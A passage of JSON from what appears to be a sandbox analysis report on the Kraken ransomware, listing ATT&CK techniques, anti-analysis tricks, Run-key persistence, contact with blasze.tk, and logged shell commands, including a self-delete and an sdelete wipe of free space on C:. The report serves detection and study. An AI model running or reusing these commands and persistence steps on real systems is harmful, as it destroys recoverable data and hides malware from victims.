Registry","attack_id":"T1012","attack_id_wiki":"https://attack.mitre.org/wiki/Technique/T1012","identifiers":[{"type":"suspicious","value":"Queries sensitive IE security settings"},{"type":"suspicious","value":"Reads the cryptographic machine GUID"},{"type":"informative","value":"Accesses Software Policy Settings"},{"type":"informative","value":"Reads the registry for installed applications"}],"sources":[{"report_type":"sandbox","report_id":"5bd9c6ac7ca3e1660a4db445"}]},{"tactic":"Discovery","technique":"System Information Discovery","attack_id":"T1082","attack_id_wiki":"https://attack.mitre.org/wiki/Technique/T1082","sources":[{"report_type":"sandbox","report_id":"5bd9c6ac7ca3e1660a4db445"}]},{"tactic":"Discovery","technique":"Process Discovery","attack_id":"T1057","attack_id_wiki":"https://attack.mitre.org/wiki/Technique/T1057","identifiers":[{"type":"suspicious","value":"Queries process information"}],"sources":[{"report_type":"sandbox","report_id":"5bd9c6ac7ca3e1660a4db445"}]},{"tactic":"Discovery","technique":"File and Directory Discovery","attack_id":"T1083","attack_id_wiki":"https://attack.mitre.org/wiki/Technique/T1083","identifiers":[{"type":"informative","value":"Contains ability to query volume size"}],"sources":[{"report_type":"sandbox","report_id":"5bd9c6ac7ca3e1660a4db445"}]},{"tactic":"Discovery","technique":"Remote System Discovery","attack_id":"T1018","attack_id_wiki":"https://attack.mitre.org/wiki/Technique/T1018","identifiers":[{"type":"suspicious","value":"Checks network status using ping"}],"sources":[{"report_type":"sandbox","report_id":"5bd9c6ac7ca3e1660a4db445"}]},{"tactic":"Collection","technique":"Email Collection","attack_id":"T1114","attack_id_wiki":"https://attack.mitre.org/wiki/Technique/T1114","sources":[{"report_type":"sandbox","report_id":"5bd9c6ac7ca3e1660a4db445"}]}],"sandbox_signatures":[{"level":"informative","category":"General","name":"Contacts server","description":"\"2.19.56.218:80\"","origin":"Network Traffic","relevance":1,"id":"network-1","sources":[{"report_type":"sandbox","report_id":"5bb5f1777ca3e1567c4a1b8d"},{"report_type":"sandbox","report_id":"5bd9c6ac7ca3e1660a4db445"}]},{"level":"informative","category":"General","name":"Contains PDB pathways","description":"\"%USERPROFILE%\\source\\repos\\UAC\\UAC\\obj\\Release\\UAC.pdb\"","origin":"File/Memory","relevance":1,"id":"string-7","sources":[{"report_type":"sandbox","report_id":"5bb5f1777ca3e1567c4a1b8d"},{"report_type":"sandbox","report_id":"5bd9c6ac7ca3e1660a4db445"}]},{"level":"informative","category":"Network Related","name":"Found potential URL in binary/memory","description":"Pattern match: \"https://wikipedia.org/wiki/Bitcoin\\\"\n Pattern match: \"https://www.bestbitcoinexchange.io/\\\"\n Pattern match: \"http://schemas.microsoft.com/SMI/2005/WindowsSettings\"","origin":"File/Memory","relevance":10,"id":"string-3","sources":[{"report_type":"sandbox","report_id":"5bb5f1777ca3e1567c4a1b8d"},{"report_type":"sandbox","report_id":"5bd9c6ac7ca3e1660a4db445"}]},{"level":"informative","category":"Unusual Characteristics","name":"Matched Compiler/Packer signature","description":"\"564154a2e3647318ca40a5ffa68d06b1bd40b606cae1d15985e3d15097b512cd.bin\" was detected as \"Microsoft visual C# v7.0 / Basic .NET\"","origin":"Static Parser","mitre_attack_id":"T1002","relevance":10,"id":"static-18","sources":[{"report_type":"sandbox","report_id":"5bb5f1777ca3e1567c4a1b8d"},{"report_type":"sandbox","report_id":"5bd9c6ac7ca3e1660a4db445"}]},{"level":"suspicious","category":"Environment Awareness","name":"Possibly tries to implement anti-virtualization techniques","description":"\"\"sqlite-wal\", \"sqlite3\", \"sqlitedb\", \"sr2\", \"srb\", \"srf\", \"srs\", \"srt\", \"srw\", \"st4\", \"st5\", \"st6\", \"st7\", \"st8\", \"stc\", \"std\", \"sti\", \"stm\", \"stw\", \"stx\", \"svg\", \"swf\", \"sxc\", \"sxd\", \"sxg\", \"sxi\", \"sxm\", \"sxw\", \"tbb\", \"tbn\", \"tex\", \"tga\", \"thm\", \"tlg\", \"tlx\", \"txt\", \"usr\", \"vbox\", \"vdi\", \"vhd\", \"vhdx\", \"vmdk\", \"vmsd\", \"vmx\", \"vmxf\", \"vob\", \"wab\", \"wad\", \"wallet\", \"war\", \"wav\", \"wb2\", \"wma\", \"wmf\", \"wmv\", \"wpd\", \"wps\", \"x3f\", \"x11\", \"xis\", \"xla\", \"xlam\", \"xlk\", \"xlm\", \"xlr\", \"xls\", \"xlsb\", \"xlsm\", \"xlsx\", \"xlt\", \"xltm\",\" (Indicator: \"vbox\")","origin":"File/Memory","relevance":4,"id":"string-1","sources":[{"report_type":"sandbox","report_id":"5bb5f1777ca3e1567c4a1b8d"},{"report_type":"sandbox","report_id":"5bd9c6ac7ca3e1660a4db445"}]},{"level":"suspicious","category":"Network Related","name":"Sends traffic on typical HTTP outbound port, but without HTTP header","description":"TCP traffic to 2.19.56.218 on port 80 is sent without HTTP header","origin":"Network Traffic","relevance":5,"id":"network-23","sources":[{"report_type":"sandbox","report_id":"5bb5f1777ca3e1567c4a1b8d"},{"report_type":"sandbox","report_id":"5bd9c6ac7ca3e1660a4db445"}]},{"level":"suspicious","category":"Ransomware/Banking","name":"Detected indicator that file is ransomware","description":"$24","origin":"File/Memory","relevance":7,"id":"string-13","sources":[{"report_type":"sandbox","report_id":"5bb5f1777ca3e1567c4a1b8d"},{"report_type":"sandbox","report_id":"5bd9c6ac7ca3e1660a4db445"}]},{"level":"suspicious","category":"Unusual Characteristics","name":"Input file contains API references not part of its Import Address Table (IAT)","description":"Found string \"GetCurrentProcess\" (Source: 564154a2e3647318ca40a5ffa68d06b1bd40b606cae1d15985e3d15097b512cd.bin, API is part of module: KERNELBASE.DLL)\n Found string \"GetLogicalDrives\" (Source: 564154a2e3647318ca40a5ffa68d06b1bd40b606cae1d15985e3d15097b512cd.bin, API is part of module: KERNELBASE.DLL)","origin":"File/Memory","relevance":10,"id":"string-64","sources":[{"report_type":"sandbox","report_id":"5bb5f1777ca3e1567c4a1b8d"}]},{"level":"informative","category":"Anti-Reverse Engineering","name":"Contains ability to register a top-level exception handler (often used as anti-debugging trick)","description":"SetUnhandledExceptionFilter@KERNEL32.DLL at 00048629-00001384-9279-15-3F03B588\n SetUnhandledExceptionFilter@KERNEL32.dll at 21459-163-000000014000B588\n SetUnhandledExceptionFilter@KERNEL32.dll at 21459-1029-000000014000B558\n SetUnhandledExceptionFilter@KERNEL32.dll at 25730-581-0040AC84","origin":"Hybrid Analysis Technology","relevance":1,"id":"stream-4","sources":[{"report_type":"sandbox","report_id":"5bd9c6ac7ca3e1660a4db445"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to query machine time","description":"GetSystemTimeAsFileTime@KERNEL32.DLL at 00048629-00001384-9279-969-3F042226","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1124","relevance":1,"id":"stream-2","sources":[{"report_type":"sandbox","report_id":"5bd9c6ac7ca3e1660a4db445"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to query the machine version","description":"GetVersion@KERNEL32.DLL at 00048629-00001384-9279-131-3F0334E0\n GetVersion@KERNEL32.dll at 21459-378-00000001400034E0","origin":"Hybrid Analysis Technology","relevance":1,"id":"stream-3","sources":[{"report_type":"sandbox","report_id":"5bd9c6ac7ca3e1660a4db445"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to query the system locale","description":"$25","origin":"Hybrid Analysis Technology","relevance":1,"id":"stream-49","sources":[{"report_type":"sandbox","report_id":"5bd9c6ac7ca3e1660a4db445"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to query volume size","description":"GetDiskFreeSpaceW@KERNEL32.DLL at 00048629-00001384-9279-110-3F032A60\n GetDiskFreeSpaceW@KERNEL32.DLL at 00048629-00001384-9279-124-3F034400\n GetDiskFreeSpaceW@KERNEL32.DLL at 00048629-00001384-9279-131-3F0334E0\n GetDiskFreeSpaceW@KERNEL32.dll at 21459-208-0000000140003580\n GetDiskFreeSpaceW@KERNEL32.dll at 21459-210-0000000140002A60\n GetDiskFreeSpaceW@KERNEL32.dll at 21459-346-0000000140004400","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1083","relevance":3,"id":"stream-37","sources":[{"report_type":"sandbox","report_id":"5bd9c6ac7ca3e1660a4db445"}]},{"level":"informative","category":"Environment Awareness","name":"Makes a code branch decision directly after an API that is environment aware","description":"Found API call GetVersion@KERNEL32.DLL directly followed by \"cmp eax, 80000000h\" and \"jnc 3F033543h\" at 00048629-00001384-9279-131-3F0334E0\n Found API call GetVersion@KERNEL32.dll directly followed by \"cmp eax, 80000000h\" and \"jnc 0000000140003543h\" at 21459-378-00000001400034E0","origin":"Hybrid Analysis Technology","relevance":10,"id":"stream-39","sources":[{"report_type":"sandbox","report_id":"5bd9c6ac7ca3e1660a4db445"}]},{"level":"informative","category":"Environment Awareness","name":"Possibly tries to detect the presence of a debugger","description":"GetProcessHeap@KERNEL32.DLL at 00048629-00001384-9279-203-3F03DE8C\n GetProcessHeap@KERNEL32.dll at 21459-448-000000014000DE8C","origin":"Hybrid Analysis Technology","relevance":1,"id":"stream-31","sources":[{"report_type":"sandbox","report_id":"5bd9c6ac7ca3e1660a4db445"}]},{"level":"informative","category":"Environment Awareness","name":"Reads the registry for installed applications","description":"\".exe\" (Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\APP PATHS\\EVENTVWR.EXE\")\n \".exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\APP PATHS\\EVENTVWR.EXE\")\n \"eventvwr.exe\" (Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\APP PATHS\\KRAKENTEMP0000.EXE\")\n \"eventvwr.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\APP PATHS\\KRAKENTEMP0000.EXE\")","origin":"Registry Access","mitre_attack_id":"T1012","relevance":10,"id":"registry-55","sources":[{"report_type":"sandbox","report_id":"5bd9c6ac7ca3e1660a4db445"}]},{"level":"informative","category":"General","name":"Accesses Software Policy Settings","description":"$26","origin":"Registry Access","mitre_attack_id":"T1012","relevance":10,"id":"registry-18","sources":[{"report_type":"sandbox","report_id":"5bd9c6ac7ca3e1660a4db445"}]},{"level":"informative","category":"General","name":"Accesses System Certificates Settings","description":"$27","origin":"Registry Access","mitre_attack_id":"T1112","relevance":10,"id":"registry-17","sources":[{"report_type":"sandbox","report_id":"5bd9c6ac7ca3e1660a4db445"}]},{"level":"informative","category":"General","name":"Contacts domains","description":"\"blasze.tk\"\n \"download.sysinternals.com\"\n \"ipinfo.io\"","origin":"Network Traffic","relevance":1,"id":"network-0","sources":[{"report_type":"sandbox","report_id":"5bd9c6ac7ca3e1660a4db445"}]},{"level":"informative","category":"General","name":"Creates a writable file in a temporary directory","description":"\".exe\" created file \"%TEMP%\\krakentemp0000.exe\"\n \"sdelete.exe\" created file \"%TEMP%\\SDELTEMP\"","origin":"API Call","relevance":1,"id":"api-4","sources":[{"report_type":"sandbox","report_id":"5bd9c6ac7ca3e1660a4db445"}]},{"level":"informative","category":"General","name":"Creates mutants","description":"\"\\Sessions\\1\\BaseNamedObjects\\Local\\ZonesCacheCounterMutex\"\n \"\\Sessions\\1\\BaseNamedObjects\\Local\\ZonesLockedCacheCounterMutex\"\n \"Local\\ZonesLockedCacheCounterMutex\"\n \"Local\\ZonesCacheCounterMutex\"\n \"\\Sessions\\1\\BaseNamedObjects\\Microsoft-Kraken-R8M3Xnn1My\"\n \"\\Sessions\\1\\BaseNamedObjects\\RasPbFile\"\n \"\\Sessions\\1\\BaseNamedObjects\\Global\\.net clr networking\"\n \"Global\\.net clr networking\"\n \"RasPbFile\"\n \"Microsoft-Kraken-R8M3Xnn1My\"","origin":"Created Mutant","relevance":3,"id":"mutant-0","sources":[{"report_type":"sandbox","report_id":"5bd9c6ac7ca3e1660a4db445"}]},{"level":"informative","category":"General","name":"Drops files marked as clean","description":"Antivirus vendors marked dropped file \"sdelete64.exe\" as clean (type is \"PE32+ executable (console) x86-64 for MS Windows\"), Antivirus vendors marked dropped file \"sdelete.exe\" as clean (type is \"PE32 executable (console) Intel 80386 for MS Windows\")","origin":"Binary File","relevance":10,"id":"binary-16","sources":[{"report_type":"sandbox","report_id":"5bd9c6ac7ca3e1660a4db445"}]},{"level":"informative","category":"General","name":"GETs files from a webserver","description":"\"GET /CN18R3 HTTP/1.1\nUser-Agent: US-160:StartU\nHost: blasze.tk\nConnection: Keep-Alive\"\n \"GET /CN18R3 HTTP/1.1\nUser-Agent: US-160:End:202\nHost: blasze.tk\nConnection: Keep-Alive\"","origin":"Network Traffic","relevance":5,"id":"network-2","sources":[{"report_type":"sandbox","report_id":"5bd9c6ac7ca3e1660a4db445"}]},{"level":"informative","category":"General","name":"Loads the .NET runtime environment","description":"\".exe\" loaded module \"%WINDIR%\\assembly\\NativeImages_v2.0.50727_64\\mscorlib\\0478aed7fc25ae268474c704fd2a3e0f\\mscorlib.ni.dll\" at EC660000\n \"krakentemp0000.exe\" loaded module \"%WINDIR%\\assembly\\NativeImages_v2.0.50727_32\\mscorlib\\199dd46435d7fdbbe590cccd8c8ae9cb\\mscorlib.ni.dll\" at 71FF0000","origin":"Loaded Module","id":"module-3","sources":[{"report_type":"sandbox","report_id":"5bd9c6ac7ca3e1660a4db445"}]},{"level":"informative","category":"General","name":"Overview of unique CLSIDs touched in registry","description":"$28","origin":"Registry Access","relevance":3,"id":"registry-72","sources":[{"report_type":"sandbox","report_id":"5bd9c6ac7ca3e1660a4db445"}]},{"level":"informative","category":"General","name":"Process launched with changed environment","description":"Process \"eventvwr.exe\" (UID: 00040012-00002060) was launched with modified environment variables: \"CommonProgramFiles, PROCESSOR_ARCHITECTURE, ProgramFiles\"\n Process \"eventvwr.exe\" (UID: 00040012-00002060) was launched with missing environment variables: \"PROCESSOR_ARCHITEW6432\"\n Process \"tasklist.exe\" (UID: 00045645-00003660) was launched with new environment variables: \"PROCESSOR_ARCHITEW6432=\"AMD64\"\"","origin":"Monitored Target","relevance":10,"id":"target-67","sources":[{"report_type":"sandbox","report_id":"5bd9c6ac7ca3e1660a4db445"}]},{"level":"informative","category":"General","name":"Runs shell commands","description":"\"/C cd %ALLUSERSPROFILE%\\ && release.bat\" on 2019-3-28.07:06:17.241\n \"/C ping 127.0.0.1 -n 3 > NUL&&del /Q /F /S \"%TEMP%\\krakentemp0000.exe\"\" on 2019-3-28.07:06:17.288\n \"/c %ALLUSERSPROFILE%\\sdelete.exe -c -z C:\" on 2019-3-28.07:06:17.866","origin":"Monitored Target","relevance":5,"id":"target-3","sources":[{"report_type":"sandbox","report_id":"5bd9c6ac7ca3e1660a4db445"}]},{"level":"informative","category":"General","name":"Spawns new processes","description":"$29","origin":"Monitored Target","relevance":3,"id":"target-25","sources":[{"report_type":"sandbox","report_id":"5bd9c6ac7ca3e1660a4db445"}]},{"level":"informative","category":"General","name":"Spawns new processes that are not known child processes","description":"$2a","origin":"Monitored Target","relevance":3,"id":"target-103","sources":[{"report_type":"sandbox","report_id":"5bd9c6ac7ca3e1660a4db445"}]},{"level":"informative","category":"Installation/Persistance","name":"Connects to LPC ports","description":"\".exe\" connecting to \"\\ThemeApiPort\"\n \"eventvwr.exe\" connecting to \"\\ThemeApiPort\"\n \"krakentemp0000.exe\" connecting to \"\\ThemeApiPort\"","origin":"API Call","relevance":1,"id":"api-16","sources":[{"report_type":"sandbox","report_id":"5bd9c6ac7ca3e1660a4db445"}]},{"level":"informative","category":"Installation/Persistance","name":"Dropped files","description":"\"CZspj.doc\" has type \"data\"\n \"5F7TBCLUxJG.doc\" has type \"data\"\n \"j8Sa.doc\" has type \"data\"\n \"3LnBJn.doc\" has type \"data\"\n \"krakentemp0000.exe\" has type \"PE32 executable (GUI) Intel 80386 Mono/.Net assembly for MS Windows\"\n \"sdelete64.exe\" has type \"PE32+ executable (console) x86-64 for MS Windows\"\n \"xHkhUwrp.doc\" has type \"PGP\\011Secret Sub-key -\"\n \"tpnUorm2s9.doc\" has type \"data\"\n \"bMTL7.doc\" has type \"data\"\n \"2VEV49vrsTLgZa.doc\" has type \"data\"\n \"pJ5LdT.doc\" has type \"data\"\n \"gtcmotdmF.doc\" has type \"data\"\n \"m3I6.doc\" has type \"data\"\n \"piLMujsJtKhePpUk.doc\" has type \"data\"\n \"Ae5I9Tp.doc\" has type \"data\"\n \"GgHlzQR.doc\" has type \"data\"\n \"sFbzgHs1K3qLZF41.doc\" has type \"data\"\n \"MXf3Y8G12MNbrM.doc\" has type \"data\"\n \"OpKgf.doc\" has type \"data\"\n \"sdelete.exe\" has type \"PE32 executable (console) Intel 80386 for MS Windows\"","origin":"Binary File","relevance":3,"id":"binary-0","sources":[{"report_type":"sandbox","report_id":"5bd9c6ac7ca3e1660a4db445"}]},{"level":"informative","category":"Installation/Persistance","name":"Opens the MountPointManager (often used to detect additional infection locations)","description":"\"eventvwr.exe\" opened \"\\Device\\MountPointManager\"\n \"cmd.exe\" opened \"\\Device\\MountPointManager\"","origin":"API Call","relevance":5,"id":"api-51","sources":[{"report_type":"sandbox","report_id":"5bd9c6ac7ca3e1660a4db445"}]},{"level":"informative","category":"Installation/Persistance","name":"Touches files in the Windows directory","description":"$2b","origin":"API Call","relevance":7,"id":"api-55","sources":[{"report_type":"sandbox","report_id":"5bd9c6ac7ca3e1660a4db445"}]},{"level":"informative","category":"System Security","name":"Creates or modifies windows services","description":"\"krakentemp0000.exe\" (Access type: \"CREATE\"; Path: \"HKLM\\SYSTEM\\CURRENTCONTROLSET\\SERVICES\\TCPIP\\PARAMETERS\")","origin":"Registry Access","mitre_attack_id":"T1112","relevance":10,"id":"registry-67","sources":[{"report_type":"sandbox","report_id":"5bd9c6ac7ca3e1660a4db445"}]},{"level":"informative","category":"System Security","name":"Opens the Kernel Security Device Driver (KsecDD) of Windows","description":"\".exe\" opened \"\\Device\\KsecDD\"\n \"eventvwr.exe\" opened \"\\Device\\KsecDD\"\n \"krakentemp0000.exe\" opened \"\\Device\\KsecDD\"\n \"tasklist.exe\" opened \"\\Device\\KsecDD\"\n \"sdelete.exe\" opened \"\\Device\\KsecDD\"","origin":"API Call","mitre_attack_id":"T1215","relevance":10,"id":"api-37","sources":[{"report_type":"sandbox","report_id":"5bd9c6ac7ca3e1660a4db445"}]},{"level":"suspicious","category":"Anti-Detection/Stealthyness","name":"Queries kernel debugger information","description":"\".exe\" at 00039638-00002612-00000033-12042844534\n \"krakentemp0000.exe\" at 00040041-00003972-00000033-22247917999\n \"tasklist.exe\" at 00045645-00003660-00000033-191333394163\n \"sdelete.exe\" at 00048629-00001384-00000033-288920861058","origin":"API Call","relevance":6,"id":"api-10","sources":[{"report_type":"sandbox","report_id":"5bd9c6ac7ca3e1660a4db445"}]},{"level":"suspicious","category":"Anti-Detection/Stealthyness","name":"Queries process information","description":"$2c","origin":"API Call","mitre_attack_id":"T1057","relevance":4,"id":"api-9","sources":[{"report_type":"sandbox","report_id":"5bd9c6ac7ca3e1660a4db445"}]},{"level":"suspicious","category":"Anti-Reverse Engineering","name":"Creates guarded memory regions (anti-debugging trick to avoid memory dumping)","description":"\".exe\" is allocating memory with PAGE_GUARD access rights\n \"krakentemp0000.exe\" is allocating memory with PAGE_GUARD access rights","origin":"API Call","relevance":10,"id":"api-1","sources":[{"report_type":"sandbox","report_id":"5bd9c6ac7ca3e1660a4db445"}]},{"level":"suspicious","category":"Anti-Reverse Engineering","name":"Looks up many procedures within the same disassembly stream (often used to hide usage)","description":"Found 33 calls to GetProcAddress@KERNEL32.DLL at 00048629-00001384-9279-196-3F036784\n Found 33 calls to GetProcAddress@KERNEL32.dll at 21459-441-0000000140006784","origin":"Hybrid Analysis Technology","relevance":10,"id":"stream-40","sources":[{"report_type":"sandbox","report_id":"5bd9c6ac7ca3e1660a4db445"}]},{"level":"suspicious","category":"Anti-Reverse Engineering","name":"Possibly checks for known debuggers/analysis tools","description":"$2d","origin":"File/Memory","relevance":2,"id":"string-5","sources":[{"report_type":"sandbox","report_id":"5bd9c6ac7ca3e1660a4db445"}]},{"level":"suspicious","category":"Cryptographic Related","name":"Found a cryptographic related string","description":"\"DES\" (Indicator: \"des\"; File: \"00048629-00001384.00000002.52791.3F053000.00000002.mdmp\")","origin":"File/Memory","relevance":10,"id":"string-57","sources":[{"report_type":"sandbox","report_id":"5bd9c6ac7ca3e1660a4db445"}]},{"level":"suspicious","category":"Environment Awareness","name":"Reads the cryptographic machine GUID","description":"\".exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\CRYPTOGRAPHY\"; Key: \"MACHINEGUID\")\n \"krakentemp0000.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\CRYPTOGRAPHY\"; Key: \"MACHINEGUID\")\n \"tasklist.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\CRYPTOGRAPHY\"; Key: \"MACHINEGUID\")\n \"sdelete.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\CRYPTOGRAPHY\"; Key: \"MACHINEGUID\")","origin":"Registry Access","mitre_attack_id":"T1012","relevance":10,"id":"registry-1","sources":[{"report_type":"sandbox","report_id":"5bd9c6ac7ca3e1660a4db445"}]},{"level":"suspicious","category":"External Systems","name":"Detected Suricata Alert","description":"Detected alert \"ET DNS Query to a .tk domain - Likely Hostile\" (SID: 2012811, Rev: 2, Severity: 2) categorized as \"Potentially Bad Traffic\"\n Detected alert \"ET POLICY HTTP Request to a *.tk domain\" (SID: 2012810, Rev: 10, Severity: 2) categorized as \"Potentially Bad Traffic\"","origin":"Suricata Alerts","relevance":10,"id":"suricata-1","sources":[{"report_type":"sandbox","report_id":"5bd9c6ac7ca3e1660a4db445"}]},{"level":"suspicious","category":"External Systems","name":"Found an IP/URL artifact that was identified as malicious by at least one reputation engine","description":"1/66 reputation engines marked \"http://blasze.tk\" as malicious (1% detection rate)\n 1/66 reputation engines marked \"https://en.wikipedia.org\" as malicious (1% detection rate)","origin":"External System","relevance":10,"id":"avtest-6","sources":[{"report_type":"sandbox","report_id":"5bd9c6ac7ca3e1660a4db445"}]},{"level":"suspicious","category":"General","name":"Reads configuration files","description":"\".exe\" read file \"%USERPROFILE%\\Desktop\\desktop.ini\"\n \"eventvwr.exe\" read file \"%USERPROFILE%\\Desktop\\desktop.ini\"","origin":"API Call","relevance":4,"id":"api-6","sources":[{"report_type":"sandbox","report_id":"5bd9c6ac7ca3e1660a4db445"}]},{"level":"suspicious","category":"Installation/Persistance","name":"Drops executable files","description":"\"krakentemp0000.exe\" has type \"PE32 executable (GUI) Intel 80386 Mono/.Net assembly for MS Windows\"\n \"sdelete64.exe\" has type \"PE32+ executable (console) x86-64 for MS Windows\"\n \"sdelete.exe\" has type \"PE32 executable (console) Intel 80386 for MS Windows\"","origin":"Binary File","relevance":10,"id":"binary-1","sources":[{"report_type":"sandbox","report_id":"5bd9c6ac7ca3e1660a4db445"}]},{"level":"suspicious","category":"Installation/Persistance","name":"Modifies auto-execute functionality by setting/creating a value in the registry","description":"\".exe\" (Access type: \"SETVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\RUN\"; Key: \"PAYLOAD\"; Value: \"%TEMP%\\krakentemp0000.exe\")","origin":"Registry Access","mitre_attack_id":"T1060","relevance":8,"id":"registry-0","sources":[{"report_type":"sandbox","report_id":"5bd9c6ac7ca3e1660a4db445"}]},{"level":"suspicious","category":"Network Related","name":"Found potential IP address in binary/memory","description":"\"1.1.7.9\"\n Heuristic match: \"System.Core,3.5.0.0,,b77a5c561934e089,MSIL\"\n Heuristic match: \"Pinging 127.0.0.1\"\n Heuristic match: \"Reply from 127.0.0.1:\"\n Heuristic match: \"Ping statistics for 127.0.0.1:\n Packets: Sent = 3, Received = 3, Lost = 0 (0% loss),\"\n Heuristic match: \"/C ping 127.0.0.1 -n 3 > NUL&&del /Q /F /S \"%TEMP%\\krakentemp0000.exe\"\"\n Heuristic match: \"ping 127.0.0.1 -n 3\"","origin":"File/Memory","relevance":3,"id":"string-14","sources":[{"report_type":"sandbox","report_id":"5bd9c6ac7ca3e1660a4db445"}]},{"level":"suspicious","category":"Spyware/Information Retrieval","name":"Checks network status using ping","description":"Process \"PING.EXE\" with commandline \"ping 127.0.0.1 -n 3\" (UID: 00048597-00003956)","origin":"Monitored Target","mitre_attack_id":"T1018","relevance":5,"id":"target-22","sources":[{"report_type":"sandbox","report_id":"5bd9c6ac7ca3e1660a4db445"}]},{"level":"suspicious","category":"System Destruction","name":"Marks file for deletion","description":"$2e","origin":"API Call","mitre_attack_id":"T1107","relevance":10,"id":"api-26","sources":[{"report_type":"sandbox","report_id":"5bd9c6ac7ca3e1660a4db445"}]},{"level":"suspicious","category":"System Destruction","name":"Opens file with deletion access rights","description":"$2f","origin":"API Call","relevance":7,"id":"api-25","sources":[{"report_type":"sandbox","report_id":"5bd9c6ac7ca3e1660a4db445"}]},{"level":"suspicious","category":"System Security","name":"Modifies Software Policy Settings","description":"$30","origin":"Registry Access","mitre_attack_id":"T1112","relevance":10,"id":"registry-19","sources":[{"report_type":"sandbox","report_id":"5bd9c6ac7ca3e1660a4db445"}]},{"level":"suspicious","category":"System Security","name":"Modifies proxy settings","description":"\".exe\" (Access type: \"DELETEVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\ZONEMAP\"; Key: \"PROXYBYPASS\")\n \".exe\" (Access type: \"DELETEVAL\"; Path: \"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\ZONEMAP\"; Key: \"PROXYBYPASS\")\n \"eventvwr.exe\" (Access type: \"DELETEVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\ZONEMAP\"; Key: \"PROXYBYPASS\")\n \"eventvwr.exe\" (Access type: \"DELETEVAL\"; Path: \"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\ZONEMAP\"; Key: \"PROXYBYPASS\")","origin":"Registry Access","mitre_attack_id":"T1112","relevance":10,"id":"registry-27","sources":[{"report_type":"sandbox","report_id":"5bd9c6ac7ca3e1660a4db445"}]},{"level":"suspicious","category":"System Security","name":"Queries sensitive IE security settings","description":"\".exe\" (Path: \"HKCU\\SOFTWARE\\MICROSOFT\\INTERNET EXPLORER\\SECURITY\"; Key: \"DISABLESECURITYSETTINGSCHECK\")\n \"eventvwr.exe\" (Path: \"HKCU\\SOFTWARE\\MICROSOFT\\INTERNET EXPLORER\\SECURITY\"; Key: \"DISABLESECURITYSETTINGSCHECK\")","origin":"Registry Access","mitre_attack_id":"T1012","relevance":8,"id":"registry-36","sources":[{"report_type":"sandbox","report_id":"5bd9c6ac7ca3e1660a4db445"}]},{"level":"suspicious","category":"Unusual Characteristics","name":"CRC value set in PE header does not match actual value","description":"\"sdelete64.exe\" claimed CRC 304792 while the actual is CRC 103315\n \"sdelete.exe\" claimed CRC 299800 while the actual is CRC 304792","origin":"Static Parser","relevance":10,"id":"static-0","sources":[{"report_type":"sandbox","report_id":"5bd9c6ac7ca3e1660a4db445"}]},{"level":"suspicious","category":"Unusual Characteristics","name":"Imports suspicious APIs","description":"RegCloseKey\n RegCreateKeyW\n RegOpenKeyW\n GetFileAttributesW\n UnhandledExceptionFilter\n WriteFile\n OutputDebugStringW\n DeviceIoControl\n GetModuleFileNameW\n LoadLibraryExW\n TerminateProcess\n GetModuleHandleExW\n LoadLibraryW\n GetTickCount\n GetStartupInfoW\n DeleteFileW\n FindNextFileW\n FindFirstFileW\n GetProcAddress\n CreateFileW\n IsDebuggerPresent\n GetCommandLineW\n GetModuleHandleW\n Sleep\n VirtualAlloc","origin":"Static Parser","relevance":1,"id":"static-1","sources":[{"report_type":"sandbox","report_id":"5bd9c6ac7ca3e1660a4db445"}]},{"level":"suspicious","category":"Unusual Characteristics","name":"Installs hooks/patches the running process","description":"$31","origin":"Hook Detection","mitre_attack_id":"T1179","relevance":10,"id":"hooks-8","sources":[{"report_type":"sandbox","report_id":"5bd9c6ac7ca3e1660a4db445"}]},{"level":"malicious","category":"External Systems","name":"Sample was identified as malicious by a large number of Antivirus engines","description":"23/37 Antivirus vendors marked sample as malicious (62% detection rate)\n 53/72 Antivirus vendors marked sample as malicious (73% detection rate)","origin":"External System","relevance":10,"id":"avtest-3","sources":[{"report_type":"sandbox","report_id":"5bd9c6ac7ca3e1660a4db445"}]},{"level":"malicious","category":"External Systems","name":"Sample was identified as malicious by at least one Antivirus engine","description":"23/37 Antivirus vendors marked sample as malicious (62% detection rate)\n 53/72 Antivirus vendors marked sample as malicious (73% detection rate)","origin":"External System","relevance":8,"id":"avtest-0","sources":[{"report_type":"sandbox","report_id":"5bd9c6ac7ca3e1660a4db445"}]},{"level":"malicious","category":"General","name":"The analysis extracted a file that was identified as malicious","description":"55/88 Antivirus vendors marked dropped file \"krakentemp0000.exe\" as malicious (classified as \"Generic.Ransom.KrakenB\" with 62% detection rate)","origin":"Binary File","relevance":10,"id":"binary-11","sources":[{"report_type":"sandbox","report_id":"5bd9c6ac7ca3e1660a4db445"}]},{"level":"malicious","category":"General","name":"The analysis spawned a process that was identified as malicious","description":"55/88 Antivirus vendors marked spawned process \"krakentemp0000.exe\" (PID: 3972) as malicious (classified as \"Generic.Ransom.KrakenB\" with 62% detection rate)","origin":"Monitored Target","relevance":10,"id":"target-58","sources":[{"report_type":"sandbox","report_id":"5bd9c6ac7ca3e1660a4db445"}]},{"level":"malicious","category":"Installation/Persistance","name":"Allocates virtual memory in a remote process","description":"\".exe\" allocated memory in 